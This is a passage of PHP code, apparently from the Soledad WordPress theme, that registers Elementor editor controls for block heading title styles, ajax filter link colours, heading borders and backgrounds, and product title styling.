				'right'  => esc_html__( 'Right', 'soledad' )
			)
		) );

		$this->add_control( 'heading_icon_pos', array(
			'label'     => __( 'Align Icon on Style 15', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''              => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'pciconp-right' => esc_html__( 'Right', 'soledad' ),
				'pciconp-left'  => esc_html__( 'Left', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_control( 'heading_icon', array(
			'label'     => __( 'Custom Icon on Style 15', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''             => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'pcicon-right' => esc_html__( 'Arrow Right', 'soledad' ),
				'pcicon-left'  => esc_html__( 'Arrow Left', 'soledad' ),
				'pcicon-down'  => esc_html__( 'Arrow Down', 'soledad' ),
				'pcicon-up'    => esc_html__( 'Arrow Up', 'soledad' ),
				'pcicon-star'  => esc_html__( 'Star', 'soledad' ),
				'pcicon-bars'  => esc_html__( 'Bars', 'soledad' ),
				'pcicon-file'  => esc_html__( 'File', 'soledad' ),
				'pcicon-fire'  => esc_html__( 'Fire', 'soledad' ),
				'pcicon-book'  => esc_html__( 'Book', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => array( 'style-15' ) ),
		) );

		$this->add_responsive_control( 'block_title_marginbt', array(
			'label'     => __( 'Margin Bottom', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-homepage-title' => 'margin-bottom: {{SIZE}}px' ),
		) );

		$this->end_controls_section();
	}

	public function register_block_title_section_controls_post() {
		$this->start_controls_section( 'section_title_block', array(
			'label' => __( 'Heading Title', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		$this->add_control( 'hide_block_heading', array(
			'label' => __( 'Hide Heading Title', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );
		$this->add_control( 'heading_title_style', array(
			'label'   => __( 'Choose Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''                  => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'style-1'           => esc_html__( 'Style 1', 'soledad' ),
				'style-2'           => esc_html__( 'Style 2', 'soledad' ),
				'style-3'           => esc_html__( 'Style 3', 'soledad' ),
				'style-4'           => esc_html__( 'Style 4', 'soledad' ),
				'style-5'           => esc_html__( 'Style 5', 'soledad' ),
				'style-6'           => esc_html__( 'Style 6 - Only Text', 'soledad' ),
				'style-7'           => esc_html__( 'Style 7', 'soledad' ),
				'style-9'           => esc_html__( 'Style 8', 'soledad' ),
				'style-8'           => esc_html__( 'Style 9 - Custom Background Image', 'soledad' ),
				'style-10'          => esc_html__( 'Style 10', 'soledad' ),
				'style-11'          => esc_html__( 'Style 11', 'soledad' ),
				'style-12'          => esc_html__( 'Style 12', 'soledad' ),
				'style-13'          => esc_html__( 'Style 13', 'soledad' ),
				'style-14'          => esc_html__( 'Style 14', 'soledad' ),
				'style-15'          => esc_html__( 'Style 15', 'soledad' ),
				'style-16'          => esc_html__( 'Style 16', 'soledad' ),
				'style-2 style-17'  => esc_html__( 'Style 17', 'soledad' ),
				'style-18'          => esc_html__( 'Style 18', 'soledad' ),
				'style-18 style-19' => esc_html__( 'Style 19', 'soledad' ),
				'style-18 style-20' => esc_html__( 'Style 20', 'soledad' ),
				'style-21'          => esc_html__( 'Style 21', 'soledad' ),
				'style-22'          => esc_html__( 'Style 22', 'soledad' ),
				'style-23'          => esc_html__( 'Style 23', 'soledad' ),
				'style-24'          => esc_html__( 'Style 24', 'soledad' ),
				'style-25'          => __( 'Style 25', 'soledad' ),
				'style-26'          => __( 'Style 26', 'soledad' ),
				'style-27'          => __( 'Style 27', 'soledad' ),
				'style-28'          => __( 'Style 28', 'soledad' ),
				'style-29'          => __( 'Style 29', 'soledad' ),
				'style-30'          => __( 'Style 30', 'soledad' ),
			)
		) );
		$this->add_control( 'heading_title_html_tag', array(
			'label'   => __( 'HTML Tag', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'h3',
			'options' => array(
				'h1' => 'H1',
				'h2' => 'H2',
				'h3' => 'H3',
				'h4' => 'H4',
				'h5' => 'H5',
				'h6' => 'H6',
			)
		) );
		$this->add_control( 'heading', array(
			'label'   => __( 'Heading Title', 'soledad' ),
			'type'    => Controls_Manager::TEXT,
			'default' => __( 'Heading Title', 'soledad' ),
		) );
		$this->add_control( 'heading_title_link', array(
			'label'       => __( 'Title url', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => __( 'https://your-link.com', 'soledad' ),
		) );
		$this->add_control( 'block_title_align', array(
			'label'   => __( 'Heading Align', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''               => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'pcalign-left'   => esc_html__( 'Left', 'soledad' ),
				'pcalign-center' => esc_html__( 'Center', 'soledad' ),
				'pcalign-right'  => esc_html__( 'Right', 'soledad' )
			)
		) );
		$this->add_control( 'heading_icon_pos', array(
			'label'     => __( 'Align Icon on Style 15', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''              => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'pciconp-right' => esc_html__( 'Right', 'soledad' ),
				'pciconp-left'  => esc_html__( 'Left', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_control( 'heading_icon', array(
			'label'     => __( 'Custom Icon on Style 15', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''             => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'pcicon-right' => esc_html__( 'Arrow Right', 'soledad' ),
				'pcicon-left'  => esc_html__( 'Arrow Left', 'soledad' ),
				'pcicon-down'  => esc_html__( 'Arrow Down', 'soledad' ),
				'pcicon-up'    => esc_html__( 'Arrow Up', 'soledad' ),
				'pcicon-star'  => esc_html__( 'Star', 'soledad' ),
				'pcicon-bars'  => esc_html__( 'Bars', 'soledad' ),
				'pcicon-file'  => esc_html__( 'File', 'soledad' ),
				'pcicon-fire'  => esc_html__( 'Fire', 'soledad' ),
				'pcicon-book'  => esc_html__( 'Book', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_responsive_control( 'block_title_marginbt', array(
			'label'     => __( 'Margin Bottom', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-homepage-title' => 'margin-bottom: {{SIZE}}px' ),
		) );

		$this->end_controls_section();
	}

	public function register_block_heading_link_section_style( $title = 'Heading Ajax Filter' ) {
		$this->start_controls_section( 'section_extrabtn_group', array(
			'label' => $title,
			'tab'   => Controls_Manager::TAB_STYLE,
		) );
		$this->add_responsive_control( 'btn_group_link_spacing', array(
			'label'     => __( 'Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 50, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcnav-lgroup ul.pcflx li a'    => 'padding-left: calc({{SIZE}}px / 2);padding-right: calc({{SIZE}}px / 2);',
				'{{WRAPPER}} .pcnav-lgroup ul.pcflx ul li a' => 'padding-left: 0;padding-right: 0;',
				'{{WRAPPER}} .pcnav-lgroup ul.pcflx-nav'     => 'padding-left: calc({{SIZE}}px - 3px);',
			),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'btn_group_link_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcnav-lgroup ul li a',
		) );
		$this->add_responsive_control( 'btn_group_nav_size', array(
			'label'     => __( 'Next/Prev Buttons Font Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 50, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcnav-lgroup ul > li > a.pcaj-nav-link' => 'font-size:{{SIZE}}px;',
			),
		) );
		$this->add_control( 'btn_group_link_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcnav-lgroup ul > li > a,{{WRAPPER}} .pcnav-lgroup ul > li' => 'color: {{VALUE}};opacity: 1;',
			),
		) );
		$this->add_control( 'btn_group_link_hcolor', array(
			'label'     => __( 'Hover & Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcnav-lgroup ul > li > a:hover,{{WRAPPER}} .pcnav-lgroup ul > li:hover,{{WRAPPER}} .pcnav-lgroup ul li > a.clactive' => 'color: {{VALUE}};opacity: 1;',
			),
		) );
		$this->add_control( 'filter_group_dbgcolor', array(
			'label'     => __( 'Filter Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-homepage-title .pcnav-lgroup > ul'         => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-homepage-title.style-4 .pcnav-lgroup > ul' => 'background-color: {{VALUE}};',
			),
		) );
		$this->add_control( 'btn_group_dbgcolor', array(
			'label'     => __( 'Dropdown Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .pcnav-lgroup ul ul' => 'background-color: {{VALUE}};',
			),
		) );
		$this->add_control( 'btn_group_dbdcolor', array(
			'label'     => __( 'Dropdown Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcnav-lgroup ul ul li,{{WRAPPER}} .pcnav-lgroup ul ul' => 'border-color: {{VALUE}};',
			),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'btn_group_sublink_typo',
			'label'    => __( 'Dropdown Typography', 'soledad' ),
			'selector' => '{{WRAPPER}}  .pcnav-lgroup ul ul li a',
		) );
		$this->add_control( 'btn_group_droplcolor', array(
			'label'     => __( 'Dropdown Link Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcnav-lgroup ul ul li,{{WRAPPER}} .pcnav-lgroup ul ul li a' => 'color: {{VALUE}};opacity: 1;',
			),
		) );
		$this->add_control( 'btn_group_droplhcolor', array(
			'label'     => __( 'Dropdown Hover & Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcnav-lgroup ul ul li a.clactive,{{WRAPPER}} .pcnav-lgroup ul ul li:hover,{{WRAPPER}} .pcnav-lgroup ul ul li a:hover' => 'color: {{VALUE}};opacity: 1;',
			),
		) );
		$this->add_control( 'btn_group_loading_icon', array(
			'label'     => __( 'Loading Icon Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => [ 'biggrid_ajax_loading_style!' => '' ],
			'selectors' => array(
				'{{WRAPPER}} .penci-loading-animation-1 .penci-loading-animation,{{WRAPPER}} .penci-loading-animation-1 .penci-loading-animation:before,{{WRAPPER}} .penci-loading-animation-1 .penci-loading-animation:after,{{WRAPPER}} .penci-loading-animation-5 .penci-loading-animation,{{WRAPPER}} .penci-loading-animation-6 .penci-loading-animation:before,{{WRAPPER}} .penci-loading-animation-7 .penci-loading-animation,{{WRAPPER}} .penci-loading-animation-8 .penci-loading-animation,{{WRAPPER}} .penci-loading-animation-9 .penci-loading-circle-inner:before,{{WRAPPER}} .penci-loading-animation-1>div,{{WRAPPER}} .penci-three-bounce .one,{{WRAPPER}} .penci-three-bounce .two,.penci-three-bounce .three' => 'background-color: {{VALUE}}',
				'{{WRAPPER}}'                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   => '--pc-loader-2:{{VALUE}}'
			),
		) );
		$this->add_control( 'btn_group_loading_bgcolor', array(
			'label'     => __( 'Loading Overlay Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => [ 'biggrid_ajax_loading_style!' => '' ],
			'selectors' => array(
				'{{WRAPPER}} .pcftaj-ld:before' => 'background-color:{{VALUE}}'
			),
		) );
		$this->add_control( 'btn_group_loading_bgopacity', array(
			'label'     => __( 'Loading Overlay Background Opacity', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'condition' => [ 'biggrid_ajax_loading_style!' => '' ],
			'range'     => array( 'px' => array( 'min' => 0.1, 'max' => 1, 'step' => 0.01 ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcftaj-ld:before' => 'opacity:{{SIZE}}'
			),
		) );
		$this->end_controls_section();
	}

	public function register_block_title_style_section_controls() {
		$this->start_controls_section( 'section_title_block_style', array(
			'label' => __( 'Block Heading Title', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'block_title_color', array(
			'label'     => __( 'Title Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-homepage-title.style-21 .inner-arrow span,{{WRAPPER}} .penci-homepage-title.style-22 .inner-arrow span,{{WRAPPER}} .penci-homepage-title.style-23 .inner-arrow span,{{WRAPPER}} .penci-homepage-title.style-24 .inner-arrow span,{{WRAPPER}} .penci-homepage-title.style-28' => '--pcheading-cl: {{VALUE}};',
				'{{WRAPPER}} .penci-border-arrow .inner-arrow'                                                                                                                                                                                                        => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-border-arrow .inner-arrow a'                                                                                                                                                                                                      => 'color: {{VALUE}};',
				'{{WRAPPER}} .home-pupular-posts-title, {{WRAPPER}} .home-pupular-posts-title a, .penci-homepage-title.style-25 .inner-arrow > span'                                                                                                                  => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'block_title_hcolor', array(
			'label'     => __( 'Title Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-border-arrow .inner-arrow a:hover' => 'color: {{VALUE}} !important;',
				'{{WRAPPER}} .home-pupular-posts-title a:hover'        => 'color: {{VALUE}} !important;',
			),
		) );
		$this->add_control( 'block_title_bcolor', array(
			'label'     => __( 'Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-homepage-title.style-21 .inner-arrow span'                                                                                                                                                                                                                                                                                                                                                                                                                               => '--pcaccent-cl: {{VALUE}}',
				'{{WRAPPER}} .penci-homepage-title.style-26 .inner-arrow,{{WRAPPER}} .penci-homepage-title.style-27 .inner-arrow'                                                                                                                                                                                                                                                                                                                                                                            => '--pcborder-cl: {{VALUE}}',
				'{{WRAPPER}} .penci-homepage-title.style-22 .inner-arrow:before'                                                                                                                                                                                                                                                                                                                                                                                                                             => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-23 .inner-arrow > span:before,{{WRAPPER}} .penci-homepage-title.style-23 .inner-arrow > span:before'                                                                                                                                                                                                                                                                                                                                                => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-24 .inner-arrow > span:before'                                                                                                                                                                                                                                                                                                                                                                                                                      => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-border-arrow .inner-arrow,' . '{{WRAPPER}} .style-4.penci-border-arrow .inner-arrow > span:after,' . '{{WRAPPER}} .style-4.penci-border-arrow .inner-arrow > span:before,' . '{{WRAPPER}} .style-4.penci-border-arrow .inner-arrow:before,' . '{{WRAPPER}} .style-4.penci-border-arrow .inner-arrow:after,' . '{{WRAPPER}} .style-5.penci-border-arrow,' . '{{WRAPPER}} .style-7.penci-border-arrow,' . '{{WRAPPER}} .style-9.penci-border-arrow' => 'border-color: {{VALUE}}',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-border-arrow:before'                                                                                                                                                                                                                                                                                                                                                                                                                              => 'border-top-color: {{VALUE}}',
				'body:not(.pcdm-enable) {{WRAPPER}} .style-16.penci-border-arrow:after'                                                                                                                                                                                                                                                                                                                                                                                                                      => 'background-color: {{VALUE}}',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-home-popular-posts'                                                                                                                                                                                                                                                                                                                                                                                                                               => 'border-top-color: {{VALUE}}',
			),
			'condition' => array( 'heading_title_style!' => array( 'style-28' ) ),
		) );
		$this->add_control( 'btitle_outer_bcolor', array(
			'label'     => __( 'Border Outer Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-border-arrow:after'                                => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-22 .inner-arrow:after'        => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-24 .inner-arrow > span:after' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-23 .inner-arrow > span:after' => 'background-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style!' => array( 'style-28' ) ),
		) );
		$this->add_control( 'btitle_style10_btopcolor', array(
			'label'     => __( 'Border Top', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-homepage-title.style-10' => 'border-top-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => 'style-10' ),
		) );

		$this->add_control( 'btitle_style5_bcolor', array(
			'label'     => __( 'Border Bottom', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-5.penci-border-arrow'              => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-10'           => 'border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-12.penci-border-arrow'             => 'border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-11.penci-border-arrow'             => 'border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-5.penci-border-arrow .inner-arrow' => 'border-bottom-color: {{VALUE}};',
			),
			'condition' => array( 'heading_title_style' => array( 'style-5', 'style-10', 'style-11', 'style-12' ) ),
		) );
		$this->add_control( 'btitle_style78_bcolor', array(
			'label'     => __( 'Small Border Bottom on Style 7 & 8', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .style-7.penci-border-arrow .inner-arrow:before' => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .style-9.penci-border-arrow .inner-arrow:before' => 'background-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => array( 'style-7', 'style-9' ) ),
		) );
		$this->add_control( 'btitle_shapes_color', array(
			'label'     => __( 'Background Color for Shapes', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-13.pcalign-center .inner-arrow:before,{{WRAPPER}} .style-13.pcalign-right .inner-arrow:before'                                         => 'border-left-color: {{VALUE}};',
				'{{WRAPPER}} .style-13.pcalign-center .inner-arrow:after,{{WRAPPER}} .style-13.pcalign-left .inner-arrow:after'                                            => ' border-right-color: {{VALUE}};',
				'{{WRAPPER}} .style-12 .inner-arrow:before,{{WRAPPER}} .style-12.pcalign-right .inner-arrow:after,{{WRAPPER}} .style-12.pcalign-center .inner-arrow:after' => ' border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-11 .inner-arrow:after,{{WRAPPER}} .style-11 .inner-arrow:before'                                                                       => ' border-top-color: {{VALUE}};',
				'{{WRAPPER}} .penci-border-arrow.style-28'                                                                       => '--pcaccent-cl: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => array( 'style-13', 'style-11', 'style-12', 'style-28' ) ),
		) );

		$this->add_control( 'btitle_inshapes_color', array(
			'label'     => __( 'Background Color for Shapes Inside', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-11 .inner-arrow:after,{{WRAPPER}} .style-11 .inner-arrow:before' => ' border-right-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => array( 'style-11' ) ),
		) );

		$this->add_control( 'bgstyle15_color', array(
			'label'       => __( 'Background Color for Icon', 'soledad' ),
			'type'        => Controls_Manager::COLOR,
			'default'     => '',
			'description' => __( 'For Icon on Style 15', 'soledad' ),
			'selectors'   => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .style-15.penci-border-arrow:before' => 'background-color: {{VALUE}};',
			),
			'condition'   => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_control( 'iconstyle15_color', array(
			'label'       => __( 'Icon Color', 'soledad' ),
			'type'        => Controls_Manager::COLOR,
			'default'     => '',
			'description' => __( 'For Icon on Style 15', 'soledad' ),
			'selectors'   => array(
				'{{WRAPPER}} .style-15.penci-border-arrow:after' => 'color: {{VALUE}};',
			),
			'condition'   => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_responsive_control( 'iconstyle15_size', array(
			'label'       => __( 'Custom Font Size for Icon', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'description' => __( 'For Icon on Style 15', 'soledad' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .style-15.penci-border-arrow:after' => 'font-size: {{SIZE}}px;',
			),
			'condition'   => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_control( 'lines_color', array(
			'label'       => __( 'Color for Lines', 'soledad' ),
			'type'        => Controls_Manager::COLOR,
			'default'     => '',
			'description' => __( 'For Lines on Styles 18, 19, 20', 'soledad' ),
			'selectors'   => array(
				'{{WRAPPER}} .style-18.penci-border-arrow:after' => 'color: {{VALUE}}; background-image: linear-gradient( -45deg, transparent, transparent 30%, {{VALUE}} 30%, {{VALUE}} 50%, transparent 50%, transparent 80%, {{VALUE}} 80%);',
				'{{WRAPPER}} .style-19.penci-border-arrow:after' => 'background-image: linear-gradient( -90deg, transparent, transparent 30%, {{VALUE}} 30%, {{VALUE}} 50%, transparent 50%, transparent 80%, {{VALUE}} 80%);',
				'{{WRAPPER}} .style-20.penci-border-arrow:after' => 'background-image: linear-gradient( 0deg, transparent, transparent 30%, {{VALUE}} 30%, {{VALUE}} 50%, transparent 50%, transparent 80%, {{VALUE}} 80%);',
			),
			'condition'   => array(
				'heading_title_style' => array(
					'style-18',
					'style-18 style-19',
					'style-18 style-20'
				)
			),
		) );

		$this->add_control( 'btitle_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-homepage-title.style-27 .inner-arrow span span, body:not(.pcdm-enable) {{WRAPPER}} .penci-homepage-title.style-22 .inner-arrow > span, body:not(.pcdm-enable) {{WRAPPER}} .penci-homepage-title.style-26'                                                                           => '--pcbg-cl: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .style-2.penci-border-arrow:after'                                                                                                                                                                                                                                                         => 'border-color: transparent;border-top-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .style-14 .inner-arrow:before,{{WRAPPER}} .style-11 .inner-arrow,' . '{{WRAPPER}} .style-12 .inner-arrow,{{WRAPPER}} .style-13 .inner-arrow,{{WRAPPER}} .style-15 .inner-arrow,' . '{{WRAPPER}} .penci-border-arrow .inner-arrow, {{WRAPPER}} .penci-homepage-title.style-25 .inner-arrow' => 'background-color: {{VALUE}};',
			)
		) );
		$this->add_control( 'btitle_outer_bgcolor', array(
			'label'     => __( 'Background Outer Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-border-arrow:after'   => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-25 .inner-arrow > span' => '--pcheading-cl: {{VALUE}};',
			),
			'condition' => array( 'heading_title_style!' => array( 'style-28' ) ),
		) );

		$this->add_control( 'btitle_style9_bgimg', array(
			'label'     => __( 'Select Background Image for Style 9', 'soledad' ),
			'type'      => Controls_Manager::MEDIA,
			'default'   => array( 'id' => '', 'url' => '' ),
			'selectors' => array( '{{WRAPPER}} .style-8.penci-border-arrow .inner-arrow' => 'background-image: url("{{URL}}");' ),
			'condition' => array( 'heading_title_style' => 'style-8' ),
		) );

		$this->add_control( 'btitle_style9_repeat', array(
			'label'     => esc_html__( 'Background Image Repeat', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'no-repeat' => esc_html__( 'No Repeat', 'soledad' ),
				'repeat'    => esc_html__( 'Repeat', 'soledad' ),
				'repeat-x'  => esc_html__( 'Repeat X', 'soledad' ),
				'repeat-y'  => esc_html__( 'Repeat Y', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => 'style-8' ),
			'default'   => 'no-repeat',
			'selectors' => array( '{{WRAPPER}} .style-8.penci-border-arrow .inner-arrow' => 'background-repeat: {{VALUE}};' ),
		) );

		$this->add_control( 'btitle_style9_size', array(
			'label'     => esc_html__( 'Background Image Size', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'auto 100%' => esc_html__( 'With Auto - Height 100%', 'soledad' ),
				'100% auto' => esc_html__( 'Width 100% - Height Auto', 'soledad' ),
				'cover'     => esc_html__( 'Cover', 'soledad' ),
				'contain'   => esc_html__( 'Contain', 'soledad' ),
				'auto'      => esc_html__( 'Orininal Size', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => 'style-8' ),
			'default'   => 'auto 100%',
			'selectors' => array( '{{WRAPPER}} .style-8.penci-border-arrow .inner-arrow' => 'background-size: {{VALUE}};' ),
		) );

		$this->add_control( 'btitle_style9_pos', array(
			'label'     => esc_html__( 'Background Image Position', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'left top'      => esc_html__( 'Left Top', 'soledad' ),
				'left center'   => esc_html__( 'Left Center', 'soledad' ),
				'left bottom'   => esc_html__( 'Left Bottom', 'soledad' ),
				'right top'     => esc_html__( 'Right Top', 'soledad' ),
				'right center'  => esc_html__( 'Right Center', 'soledad' ),
				'right bottom'  => esc_html__( 'Right Bottom', 'soledad' ),
				'center top'    => esc_html__( 'Center Top', 'soledad' ),
				'center center' => esc_html__( 'Center', 'soledad' ),
				'center bottom' => esc_html__( 'Center Bottom', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => 'style-8' ),
			'default'   => 'left top',
			'selectors' => array( '{{WRAPPER}} .style-8.penci-border-arrow .inner-arrow' => 'background-position: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'btitle_typo',
			'label'    => __( 'Block Title Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-border-arrow .inner-arrow',
		) );

		$this->add_control( 'block_title_icolor', array(
			'label'     => __( 'Icon Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .inner-arrow i'                                  => 'color: {{VALUE}};',
				'{{WRAPPER}} .inner-arrow svg, {{WRAPPER}} .inner-arrow path' => 'fill: {{VALUE}};',
			),
			'condition' => array(
				'add_title_icon' => 'yes'
			),
		) );

		$this->add_control( 'block_title_ihcolor', array(
			'label'     => __( 'Icon Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .inner-arrow > span:hover i'                                               => 'color: {{VALUE}};',
				'{{WRAPPER}} .inner-arrow > span:hover svg, {{WRAPPER}} .inner-arrow > span:hover path' => 'fill: {{VALUE}};',
			),
			'condition' => array(
				'add_title_icon' => 'yes'
			),
		) );

		$this->end_controls_section();
	}

	public function register_block_icons() {
		$this->add_control( 'icon', array(
			'label' => esc_html__( 'Icon', 'soledad' ),
			'type'  => Controls_Manager::ICONS,
		) );

		$this->add_control( 'icon_position', array(
			'label'   => esc_html__( 'Icon position', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				'right' => esc_html__( 'Right', 'soledad' ),
				'left'  => esc_html__( 'Left', 'soledad' ),
			),
			'default' => 'right',
		) );
	}

	public function register_product_style() {
		/**
		 * Products design settings.
		 */
		$this->start_controls_section( 'products_design_style_product', [
			'label' => esc_html__( 'Products Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'product_title_color', array(
			'label'     => __( 'Product Title Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} ul.products .penci-soledad-product .penci-product-loop-title h3'   => 'color: {{VALUE}};',
				'{{WRAPPER}} ul.products .penci-soledad-product .penci-product-loop-title h3 a' => 'color: {{VALUE}};',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'product_title_typo',
			'label'    => __( 'Product Title Font', 'soledad' ),
			'selector' => '{{WRAPPER}} ul.products .penci-soledad-product .penci-product-loop-title h3'
		) );

